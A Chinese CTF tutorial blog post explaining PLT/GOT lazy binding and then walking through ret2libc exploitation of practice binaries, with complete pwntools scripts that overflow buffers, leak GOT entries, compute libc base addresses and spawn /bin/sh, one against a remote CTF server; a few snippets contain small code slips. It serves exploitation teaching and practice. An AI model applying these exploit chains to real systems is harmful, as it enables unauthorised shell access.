Pwn入门系列(三)

动态链接

动态链接是一种 程序运行时 将代码与共享库(如 libc.so)绑定的技术。这里只介绍 plt 与 got 表以及延迟绑定。

1. PLT 与 GOT 表定义

1.1 PLT(Procedure Linkage Table,过程链接表)

  • 本质:一段由编译器生成的 跳转代码表,位于程序的代码段(.plt 节)。

  • 功能

    • 为每个动态库函数(如 putsprintf)生成一个 跳转存根(Stub)
    • 首次调用函数时,触发动态链接器解析函数地址;
      后续调用时,直接跳转到已解析的地址。
  • 类比:类似书籍的 目录,告诉程序“如何找到函数”。

PLT 表结构示意图

1
2
3
4
5
6
7
8
9
10
11
12
+----------------------+
| .plt 节(代码段) |
+----------------------+
| puts@plt: |
| jmp *puts@got.plt | → 首次跳转到解析逻辑
| push 索引号 |
| jmp 公共解析代码 |
+----------------------+
| printf@plt: | → 其他函数的PLT条目
| jmp *printf@got.plt|
| ... |
+----------------------+

1.2 GOT(Global Offset Table,全局偏移表)

  • 本质:一个由编译器生成的 指针数组,位于程序的数据段(.got.plt 节)。

  • 功能

    • 存储动态库函数的 实际内存地址
    • 首次调用前:指向 PLT 中的解析逻辑;
      解析完成后:存储真实的函数地址。
  • 类比:类似通讯录的 地址簿,记录函数在内存中的“具体位置”。

GOT 表结构示意图

1
2
3
4
5
6
7
8
9
10
+---------------------+
| .got.plt 节(数据段) |
+---------------------+
| GOT[0]: link_map | → 动态库元数据
| GOT[1]: 解析器地址 | → _dl_runtime_resolve
| GOT[2]: 动态库解析函数 | → 动态链接器内部函数
+---------------------+
| puts@got.plt | → 初始指向PLT解析代码
| printf@got.plt | → 解析后填入真实地址
+---------------------+

1.3 PLT 与 GOT 的协作关系

  1. 程序调用动态函数时(如 call puts@plt),先跳转到 PLT 表。

  2. PLT 表 通过 GOT 表间接跳转:

    • 若 GOT 中地址未解析 → 触发动态链接器解析函数地址并更新 GOT。

    • 若 GOT 中地址已解析 → 直接跳转到真实函数地址。

  3. GOT 表 是实际地址的存储枢纽,PLT 是地址跳转的引导代码。

2. 延迟绑定的完整流程

2.1 首次调用动态函数(以 puts 为例)

详细步骤解析:

  1. 符号查找
    • 动态链接器通过重定位索引(relocation_index)在 .dynsym 节中找到 puts 的符号信息。
  2. 地址解析
    • 遍历已加载的动态库(通过 link_map),在 libc.so 中找到 puts 的实际地址。
  3. GOT 更新
    • 将解析后的地址写入 puts@got.plt
  4. 函数执行
    • 程序跳转到 puts 的真实地址并执行。

3.2 后续调用动态函数

3. PLT/GOT 的静态与动态视图

3.1 静态视图(程序未加载时)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
+------------------+          +------------------+
| 代码段(.text) | | 数据段(.got.plt)|
| | | |
| call puts@plt | | GOT[0]: link_map |
| ... | | GOT[1]: resolver |
+------------------+ | GOT[2]: dl_func |
| | puts@got.plt: |
v | (未解析地址) |
+------------------+ +------------------+
| PLT 表(.plt) |
| puts@plt: |
| jmp *GOT[n] |
| push index |-------------------+
| jmp PLT0 | |
+------------------+ |
|
+---------------------+ |
| 动态链接器(ld) | <-------------+
| _dl_runtime_resolve |
| 解析函数地址并写回GOT |
+---------------------+

3.2 动态视图(程序运行后)

1
2
3
4
5
6
7
8
9
10
11
12
13
+------------------+          +------------------+
| 代码段 | | 数据段(GOT更新后) |
| | | |
| call puts@plt | | GOT[0]: link_map |
| ... | | GOT[1]: resolver |
+------------------+ | GOT[2]: dl_func |
| | puts@got.plt: |
v | 0x7ffff7e3c5a0 |
+------------------+ +------------------+
| PLT 表 |
| puts@plt: |
| jmp *0x7fff... | → 直接跳转到 libc 的 puts
+------------------+

4. 延迟绑定的设计优势

4.1 性能优化

  • 按需解析:仅在实际调用函数时解析地址,避免启动时解析所有未使用的函数。
  • 缓存机制:解析后的地址存储在 GOT 中,后续调用直接跳转,无额外开销。

4.2 内存效率

  • 共享库代码:多个程序共享同一份动态库代码,减少内存占用。
  • 懒加载:未调用的函数不会占用解析资源。

4.3 安全性增强

  • ASLR 兼容:动态库地址随机化后,PLT/GOT 机制仍能正确解析函数地址。

5. 总结:PLT/GOT 与延迟绑定的核心关系

组件 角色 关键操作
PLT 表 跳转代理与解析触发器 引导调用、传递重定位索引
GOT 表 地址存储器与动态链接枢纽 存储未解析/已解析地址
延迟绑定 按需解析策略 控制首次调用触发解析的时机
1
2
3
程序调用动态函数 → PLT 引导跳转 → 查询 GOT 表 → 
├─ 已解析 → 直接跳转至 libc 函数
└─ 未解析 → 触发动态链接器 → 解析地址 → 更新 GOT → 跳转

ret2libc

原理

ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”),故而此时我们需要知道 system 函数的地址。

例 1

例 1 的题目没有提供 sytem(“/bin/sh”),但是提供了 system 地址与 /bin/sh 的地址

32 位

这里的 32 位以 BUUCTF 上的 jarvisoj_level2 为例

只开启了 NX 保护

main 函数调用了vulnerable_function,然后是用 system 函数打印,vulnerable_function 函数中存在溢出。

我们可以发现,程序中并没有 system(“/bin/sh”),不过程序中有调用过 system 函数,那么我们还可以看看程序中是否有/bin/sh 字符串,我们可以直接在 ida 中查看程序的字符串,也可以利用 ROPgadget 工具

在 ida 中查看 Strings 列表,可以看到有/bin/sh 字符串,双击后可以看到其地址

利用 ROPgadget 查找/bin/sh 字符串

1
ROPgadget --binary pwn32 --string '/bin/sh'

现在我们编写 exp,将返回地址覆盖成 system@plt,然后将 system 的返回地址覆盖为 4 个 a,然后是 system 的参数/bin/sh 字符串的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context(os='linux', arch='i386', log_level='debug')

p = process('./pwn32')
elf = ELF('./pwn32')

system_plt = elf.plt['system']
binsh = 0x0804a024

def debug():
attach(p, 'b *0x804847D')
pause()

debug()
p.recvuntil("Input:")
payload = b'a'*0x8c + p32(system_plt) + b'a'*4 + p32(binsh)
p.sendline(payload)

p.interactive()

我们在 exp 中将断点下在 nop 处

可以看到,在返回地址处已经变成 system@plt,接着是 system 的返回地址,然后是 system 的参数/bin/sh 字符串

我们发现 system@plt 实际上执行了 jmp dword ptr [0x804a010],然后我们查看 0x804a010 地址处,其实际上调用了 libc 中的 system 函数

64 位

这里的 64 位以 BUUCTF 上的 jarvisoj_level2_x64 为例

只开启了 NX 保护

程序逻辑与 32 位程序相同

利用 ROPgadget 查找/bin/sh 字符串

1
ROPgadget --binary pwn64 --string '/bin/sh'

由于程序是 64 位,而 64 位程序传递参数的第一个寄存器是 rdi,因此我们需要寻找一个 rdi 的 gadget

1
ROPgadget --binary pwn64 --only 'pop|ret'

64 位还需要 ret 来平衡堆栈

写入 rdi 和 /bin/sh 字符串的地址,然后用 ret 平衡堆栈,最后调用 system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context(os='linux', arch='i386', log_level='debug')

p = process('./pwn64')
elf = ELF('./pwn64')

system_plt = elf.plt['system']
binsh = 0x600a90
pop_rdi = 0x4006b3
ret = 0x4004a1

def debug():
attach(p, 'b *0x40061E')
pause()

debug()
p.recvuntil("Input:")
payload = b'a'*0x88 + p64(pop_rdi) + p64(binsh)
payload += p64(ret) + p64(system_plt)
p.sendline(payload)

p.interactive()

例 2

例 2 的题目不再出现 /bin/sh 字符串,所以需要我们自己来读取字符串

32 位

这里的 32 位以 CTF Wiki 的 ret2libc2 为例

只开启了 NX 保护

main 函数,gets 函数存在溢出。secure 函数中有 system 函数调用

当我们寻找/bin/sh 字符串时,发现程序中并没有/bin/sh 字符串,因此我们只能手动读入/bin/sh 字符串。我们一般在具有读写权限的位置写入/bin/sh 字符串,所以我们可以选择 data 段和 bss 段,而 bss 段中有一个 buf2 的数组,我们可以将 /bin/sh 写入这个地址

exp 如下,返回地址写入 gets@plt,gets 的返回地址写入 system@plt,然后是 gets 的参数,这个实际上也是 system 的返回地址,那么当程序返回成 gets 时就会调用 gets 函数,此时程序就会等待我们进行输入,之后我们写入/bin/sh 字符串,这个字符串就会存入到 buf2 处,最后是 system 的参数,我们再写入 buf2 的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context(os='linux', arch='i386', log_level='debug')

p = process('./pwn32')
elf = ELF('./pwn32')

gets_plt = elf.plt['gets']
system_plt = elf.plt['system']
buf2 = 0x804A080

def debug():
attach(p, 'b *0x80486BF')
pause()

debug()
p.recvuntil("What do you think ?")
payload = b'a'*0x70 + p32(gets_plt) + p32(system_plt)
payload += p32(buf2) + p32(buf2)
p.sendline(payload)
p.sendline(b'/bin/sh\x00')

p.interactive()

64 位

这里的 64 位是以将 32 位的例子编译成 64 位为例

开启了 NX 保护

程序逻辑与 32 位基本相同

思路也与 32 位相同,除了传参需要使用 rdi 寄存器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

p = process('./pwn64')
elf = ELF('./pwn64')

gets_plt = elf.plt['gets']
system_plt = elf.plt['system']
buf2 = 0x404080
pop_rdi = 0x4011b6

def debug():
attach(p, 'b *0x401253')
pause()

# debug()
p.recvuntil("What do you think ?")
payload = b'a'*0x78 + p64(pop_rdi) + p64(buf2) + p64(gets_plt)
payload += p64(pop_rdi) + p64(buf2) + p64(system_plt)
p.sendline(payload)
p.sendline(b'/bin/sh\x00')

p.interactive()

例 3

例 3 的题目既没有/bin/sh 字符串也没有 system 函数,所以我们需要同时找到 system 函数地址与 /bin/sh 字符串的地址,这就是标准的 ret2libc。

32 位

这里的 32 位以 CTF Wiki 的 ret2libc 例 3 为例

只开启了 NX 保护

main 函数 gets 存在溢出,secure 函数不再调用 system 函数,而且程序中不存在/bin/sh 字符串

那么我们如何得到 system 函数的地址呢?这里就主要利用了两个知识点:

  • system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
  • 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。

所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。

那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。

由于我们现在是本地测试,所以我们可以直接获取本地环境的 libc

1
ldd pwn32

那么下面我们就先来泄露出 puts 函数的真实地址,payload 中返回地址写为 puts@plt,puts 的返回地址写入 main 函数,这样执行完 puts 函数之后就会返回到 main,然后 puts 的参数写入 puts@got[plt],这样 puts@got[plt] 就会找到 puts 的真实地址,最后 puts 将其真实地址打印出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context(os='linux', arch='i386', log_level='debug')

p = process('./pwn32')
elf = ELF('./pwn32')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

main = 0x8048618

def debug():
attach(p, 'b *0x804868F')
pause()

debug()
p.recvuntil("Can you find it !?")
payload = b'a'*0x70 + p32(puts_plt) + p32(main) + p32(puts_got)
p.sendline(payload)

p.interactive()

在栈上我们可以看到 puts@got[plt] 指向了 puts 的真实地址

这里我们也可以看到 puts 的真实地址

然后我们用下面的语句接收并打印出 puts 的真实地址

1
2
puts = u32(p.recv(4))
success('puts:' + hex(puts))

接下来我们计算出 libc 基地址,libc 的基地址在程序每次运行之后都会改变,但是 puts 函数相对于基地址的偏移是不变的(其他函数同),那么通过 puts 函数减去其在 libc 中的偏移就可以得到 libc 的基地址

对于 puts 函数在 libc 的偏移,我们可以用 libc.sym[‘puts’] 得到,也可以在 gdb 中用 puts 函数和 libc 基地址算出

1
print(hex(libc.sym['puts']))

算出 libc 的基地址,然后用基地址加上 system 函数在 libc 中的偏移得到 system 函数地地址,/bin/sh 字符串同理,只是在 libc 中寻找字符串稍有不同

1
2
3
4
libc_base = puts - libc.sym['puts']
success('libc_base:' + hex(libc_base))
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.sym[b'/bin/sh\x00'])

我们可以看到打印出来的 libc 基地址是 3 个 0 结尾,那么这个 libc 基地址一般上就是正确的

最后就是布置 getshell 的 rop 即可

1
2
3
p.recvuntil("Can you find it !?")
payload = b'a'*0x68 + p32(system) + b'a'*4 + p32(binsh)
p.sendline(payload)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
context(os='linux', arch='i386', log_level='debug')

p = process('./pwn32')
elf = ELF('./pwn32')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

main = 0x8048618

def debug():
attach(p, 'b *0x804868F')
pause()

# debug()
p.recvuntil("Can you find it !?")
payload = b'a'*0x70 + p32(puts_plt) + p32(main) + p32(puts_got)
p.sendline(payload)
puts = u32(p.recv(4))
success('puts:' + hex(puts))

libc_base = puts - libc.sym['puts']
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))

# debug()
p.recvuntil("Can you find it !?")
payload = b'a'*0x68 + p32(system) + b'a'*4 + p32(binsh)
p.sendline(payload)

p.interactive()

64 位

这里的 64 位以 BUUCTF 的 bjdctf_2020_babyrop 为例

只开启了 NX 保护

main 函数调用了 vuln 函数,vuln 函数存在溢出

64 位的利用思路与 32 位相同

找到 rdi 寄存器

1
ROPgadget --binary pwn64 --only 'pop|ret'

从本地环境获取 libc

1
ldd pwn64

泄露出 puts 函数的真实地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

p = process('./pwn64')
elf = ELF('./pwn64')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x4006AD
pop_rdi = 0x400733

def debug():
attach(p, 'b *0x4006AA')
pause()

debug()
p.recvuntil("Pull up your sword and tell me u story!")
payload = b'a'*0x28 + p64(pop_rdi) + p64(puts_got)
payload += p64(puts_plt) + p64(main)
p.sendline(payload)
p.recvuntil(b'\n')
puts = u64(p.recv(6).ljust(8, b'\x00'))
success('puts:' + hex(puts))

p.interactive()

在栈上puts@got[plt] 已经指向了 puts 函数的真实地址

成功接收 puts 函数的地址

利用泄露的 puts 函数计算 libc 的基地址,然后根据 libc 的基地址算出 system 函数和/bin/sh 字符串的地址

1
2
3
libc_base = puts - libc.sym['puts']
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))

那么前面我们是在本地环境中获取的 libc,如果在远程环境且没有给出 libc 的情况下,我们就需要使用另外方法获取 libc

现在我们连上远程环境,然后泄露地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

# p = process('./pwn64')
elf = ELF('./pwn64')
p = remote('node5.buuoj.cn', 29020)

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x4006AD
pop_rdi = 0x400733

def debug():
attach(p, 'b *0x4006AA')
pause()

# debug()
p.recvuntil("Pull up your sword and tell me u story!")
payload = b'a'*0x28 + p64(pop_rdi) + p64(puts_got)
payload += p64(puts_plt) + p64(main)
p.send(payload)
p.recvuntil(b'\n')
puts = u64(p.recv(6).ljust(8, b'\x00'))
success('puts:' + hex(puts))

p.interactive()

得到 690 结尾的 puts 函数地址

然后打开https://libc.blukat.me/或者https://libc.rip/其中一个网站

左侧两个输入框,左边输入框输入对应函数,右边输入框输入函数地址结尾的 3 个数字,比如这里我输入的是 puts 以及 690。我们点击 Find 之后右侧就会出现 libc,我们选择其中一个,比如这里我选择libc6_2.23-0ubuntu11_amd64,点击 Download 将其下载下来,然后放到跟 elf 文件同一个文件夹下。这里找到的 libc 基本上在大版本没有问题,在小版本会有小差别,所以可以一个个试。

查看打印的 libc 的基地址,是 3 个 0 结尾

最后布置 getshell 的 rop

1
2
3
4
p.recvuntil("Pull up your sword and tell me u story!")
payload = b'a'*0x28 + p64(pop_rdi) + p64(binsh)
payload += p64(ret) + p64(system)
p.sendline(payload)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

p = process('./pwn64')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./pwn64')
# p = remote('node5.buuoj.cn', 29020)
# libc = ELF('./libc-2.23.so')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x4006AD
pop_rdi = 0x400733
ret = 0x4004c9

def debug():
attach(p, 'b *0x4006AA')
pause()

# debug()
p.recvuntil("Pull up your sword and tell me u story!")
payload = b'a'*0x28 + p64(pop_rdi) + p64(puts_got)
payload += p64(puts_plt) + p64(main)
p.sendline(payload)
p.recvuntil(b'\n')
puts = u64(p.recv(6).ljust(8, b'\x00'))
success('puts:' + hex(puts))

libc_base = puts - libc.sym['puts']
success('libc_base:' + hex(libc_base))
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))

p.recvuntil("Pull up your sword and tell me u story!")
payload = b'a'*0x28 + p64(pop_rdi) + p64(binsh)
payload += p64(ret) + p64(system)
p.sendline(payload)

p.interactive()

Pwn入门系列(三)
https://tsuk1ctf.github.io/post/3862aedc.html
作者
Tsuk1
发布于
2025年3月20日
许可协议